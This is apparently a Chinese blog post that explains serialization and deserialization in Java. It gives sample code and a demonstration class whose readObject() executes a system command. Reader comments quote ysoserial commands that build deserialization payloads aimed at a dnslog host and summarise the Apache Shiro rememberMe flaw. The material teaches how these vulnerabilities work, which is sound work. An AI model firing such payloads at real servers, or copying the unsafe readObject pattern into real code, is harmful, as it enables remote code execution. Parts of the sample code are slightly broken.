序列化和反序列化及相关漏洞


=Start=

缘由:

想较为系统深入的了解一下什么是序列化和反序列化,以及为什么要用序列化和反序列化,再加上一些反序列化漏洞的说明来应用一下前面所学的内容以加深理解。

正文:

参考解答:

0x01 什么是序列化和反序列化?

  • 序列化:将数据结构或对象转换成二进制串的过程。
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程。

二进制串:序列化所生成的二进制串指的是存储在内存中的一块数据。C/C++语言具有内存操作符,所以二进制串的概念容易理解,例如,C/C++语言的字符串可以直接被传输层使用,因为其本质上就是以’\0’结尾的存储在内存中的二进制串。在Java语言里面,二进制串的概念容易和String混淆。实际上String 是Java的一等公民,是一种特殊对象(Object)。对于跨语言间的通讯,序列化后的数据当然不能是某种语言的特殊数据类型。二进制串在Java里面所指的是byte[],byte是Java的8中原生数据类型之一(Primitive data types)。

0x02 为什么要有序列化和反序列化?

互联网的产生带来了机器间通讯的需求,而互联通讯的双方需要采用约定的协议,序列化和反序列化属于通讯协议的一部分。

在OSI七层协议模型中展现层(Presentation Layer)的主要功能是把应用层的对象转换成一段连续的二进制串,或者反过来,把二进制串转换成应用层的对象–这两个功能就是序列化和反序列化。一般而言,TCP/IP协议的应用层对应与OSI七层协议模型的应用层,展示层和会话层,所以序列化协议属于TCP/IP协议应用层的一部分。

序列化在实际应用中也会有普遍应用,比如大型Web应用,当存在瞬间的高并发登录涌来的大量Session的情况时,如果使用序列化技术将这些Session保存在本地,需要使用时再反序列化,就会节省大量的内存资源。

0x03 序列化协议特性

通用性(技术层面要支持跨平台、跨语言;流行程度要高);
鲁棒性(成熟度、稳定性);
可调试性;
性能;

0x04 几种常见的序列化和反序列化协议

COM
CORBA
XML&SOAP
JSON(Javascript Object Notation)
Thrift
Protobuf
Avro

0x05 反序列化相关漏洞说明

在Java中,序列化的实现需要满足以下几个要求:

1、类需要实现Serializable接口
2、客户端与服务端两端serialVersionUID需要相同,如果没有设置UID,JVM会根据当前系统时间自动生成UID的值
3、Transient关键字,被transient关键字修饰的字段无法被序列化

Java 中通过 ObjectOutputStream 类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程, ObjectInputStream 类的 readObject() 方法用于反序列化。

序列化、反序列化样例代码:
//一个实现了 Serializable 接口的类
public class Employee implements java.io.Serializable
{
   public String name;
   public String identify;
   public void mailCheck() {
      System.out.println("This is the " this.identify + " of our company");
   }
}
// 实现序列化操作的类 SerializeDemo
import java.io.*;   //反序列化所需类在io包中
public class SerializeDemo
{
   public static void main(String [] args)
   {
      Employee e = new Employee();
      e.name = "员工甲";
      e.identify = "General staff";
      try
      {
        // 打开一个文件输入流
         FileOutputStream fileOut = new FileOutputStream("/tmp/employee1.db");
         // 建立对象输入流
         ObjectOutputStream out = new ObjectOutputStream(fileOut);
         // 输出反序列化对象
         out.writeObject(e);
         out.close();
         fileOut.close();
         System.out.printf("Serialized data is saved in /tmp/employee1.db");
      }catch(IOException i)
      {
          i.printStackTrace();
      }
   }
}
// 实现反序列化操作的类 DeserializeDemo
import java.io.*;   //反序列化所需类在io包中
public class DeserializeDemo
{
   public static void main(String [] args)
   {
      Employee e = null;
      try {
        // 打开一个文件输入流
         FileInputStream fileIn = new FileInputStream("/tmp/employee1.db");
        // 建立对象输入流
         ObjectInputStream in = new ObjectInputStream(fileIn);
        // 读取对象
         e = (Employee) in.readObject();
         in.close();
         fileIn.close();
      catch(IOException i) {
         i.printStackTrace();
         return;
      catch(ClassNotFoundException c) {
         System.out.println("Employee class not found");
         c.printStackTrace();
         return;
      }
      System.out.println("Deserialized Employee...");
      System.out.println("Name: " + e.name);
      System.out.println("This is the " + e.identify + " of our company");
    }
}
漏洞成因:

序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码——这才是反序列化漏洞的原因!

漏洞样例代码:
import java.io.*;   //反序列化所需类在io包中
public class VulDemo {
    public static void main(String args[]) throws Exception {
        UnsafeClass Unsafe = new UnsafeClass();
        Unsafe.name = "hacked by demo";
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(Unsafe); // writeObject()方法将Unsafe对象写入object文件
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}
class UnsafeClass implements Serializable{
    public String name;
    //重写 readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行命令(这里用的是SublimeText做演示,具体可根据实际情况进行替换)
        Runtime.getRuntime().exec("/usr/local/bin/subl");
    }
}

 

参考链接:

=END=


《“序列化和反序列化及相关漏洞”》 有 12 条评论

  1. 对抗遗忘之Java反序列化的手艺活
    https://www.knowsec.net/archives/486/
    `
    D:\ysoserial-master>java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS “http://222.*.ceye.io” > dns.bin
    D:\ysoserial-master>curl “http://localhost:8080/demo” –data-binary “@dns2.bin”
    直接在dnslog上看结果,躲避监测,动静小。

    这种是目标存在反序列化的lib,并且在接收数据的时候直接使用了readObject去处理,能够在dnslog直接看到结果。

    第二种是需要链式反应搭配dnslog看到结果。

    比如 JRMPClient 和 JRMPListener
    D:\ysoserial-master>java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7001 URLDNS “http://333.x8jrzu.ceye.io”

    ysoserial -jar payload command 这种是生成二进制

    ysoserial -cp 这种是直接打,直接使用:
    D:\ysoserial-master>java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “calc”
    `

  2. Apache Shiro Java反序列化漏洞
    https://mp.weixin.qq.com/s/Lx8tGZIpr4-yByJqxsdojw
    `
    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

    Shiro对 rememberme 的 cookie 做了加密处理,shiro在CookieRememberMeManaer类中将 cookie 中 rememberme 字段内容分别进行【序列化、AES加密、Base64编码】操作。在识别身份的时候,需要对Cookie里的rememberme字段解密。根据加密的顺序,不难知道解密的顺序为:获取rememberMe-cookie、base64解码、AES解密、反序列化。因为AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以通过精心构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberme字段发送。Shiro将remembere进行解密并且反序列化,最终就造成了反序列化漏洞。
    `

    Apache Shiro Java反序列化漏洞分析
    https://www.cnblogs.com/loong-hon/p/10619616.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注